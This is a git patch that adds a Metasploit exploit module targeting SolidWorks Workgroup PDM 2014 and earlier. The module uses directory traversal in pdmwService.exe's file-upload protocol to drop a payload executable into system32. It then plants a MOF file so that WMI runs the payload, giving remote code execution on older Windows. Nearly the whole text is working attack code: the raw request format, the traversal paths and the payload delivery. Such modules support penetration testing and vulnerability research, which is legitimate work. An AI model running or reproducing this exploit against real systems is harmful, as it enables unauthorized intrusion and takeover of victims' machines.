From a29c6cd2b4efe7b1f28fed57d0ff7efee72041b6 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 25 Feb 2014 02:57:25 +1030 Subject: [PATCH] Add SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write --- .../solidworks_workgroup_pdmwservice_wbem.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_wbem.rb diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_wbem.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_wbem.rb new file mode 100644 index 0000000000..6bab486b35 --- /dev/null +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_wbem.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write', + 'Description' => %q{ + This module exploits an arbitrary file write vulnerability in SolidWorks + Workgroup PDM 2014 SP2 and prior. + + Code execution can be achieved by first uploading the payload to the remote + machine as an exe file, and then upload another mof file, which enables + WMI (Management Instrumentation service) to execute the uploaded payload. + Please note that this module currently only works for Windows before Vista. + + This module has been tested successfully on SolidWorks Workgroup PDM + 2011 SP0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mohamed Shetta ', # Initial discovery and PoC + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['EDB', '31831'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested on SolidWorks Workgroup PDM 2011 SP0 - Windows XP SP3 (EN) + ['SolidWorks Workgroup PDM <= 2014 SP2 on Windows (Before Vista)', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Feb 22 2014', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('WINDIR', [true, 'The Windows directory', 'WINDOWS']), + OptInt.new('DEPTH', [true, 'Traversal depth', 10]), + Opt::RPORT(30000) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + # + # Check + # + def check + # op code + req = "\xD0\x07\x00\x00" + # filename length + req << "\x00\x00\x00\x00" + # data length + req << "\x00\x00\x00\x00" + connect + sock.put req + res = sock.get_once + disconnect + if !res + vprint_error "#{peer} - Connection failed." + Exploit::CheckCode::Unknown + elsif res == "\x00\x00\x00\x00" + vprint_status "#{peer} - Received reply (#{res.length} bytes)" + Exploit::CheckCode::Detected + else + vprint_error "#{peer} - Unexpected reply (#{res.length} bytes)" + Exploit::CheckCode::Safe + end + end + + # + # Send a file + # + def upload(fname, data) + # every character in the filename must be followed by 0x00 + fname = fname.scan(/./).join("\x00") + "\x00" + # op code + req = "\xD0\x07\x00\x00" + # filename length + req << "#{[fname.length].pack('l')}" + # file name + req << "#{fname}" + # data length + req << "#{[data.length].pack('l')}" + # data + req << "#{data}" + connect + sock.put req + res = sock.get_once + disconnect + if !res + fail_with(Failure::Unknown, "#{peer} - Connection failed.") + elsif res == "\x00\x00\x00\x00" + print_status "#{peer} - Received reply (#{res.length} bytes)" + else + print_warning "#{peer} - Unexpected reply (#{res.length} bytes)" + end + end + + # + # Exploit + # + def exploit + windir = datastore['WINDIR'] + depth = '..\\' * datastore['DEPTH'] + # send exe + exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe" + exe = generate_payload_exe + print_status("#{peer} - Sending EXE (#{exe.length} bytes)") + upload("#{depth}#{windir}\\system32\\#{exe_name}", exe) + # send mof + mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof" + mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) + print_status("#{peer} - Sending MOF (#{mof.length} bytes)") + upload("#{depth}#{windir}\\system32\\wbem\\mof\\#{mof_name}", mof) + # clean up + register_file_for_cleanup("#{::File.basename(exe_name)}") + register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}") + end +end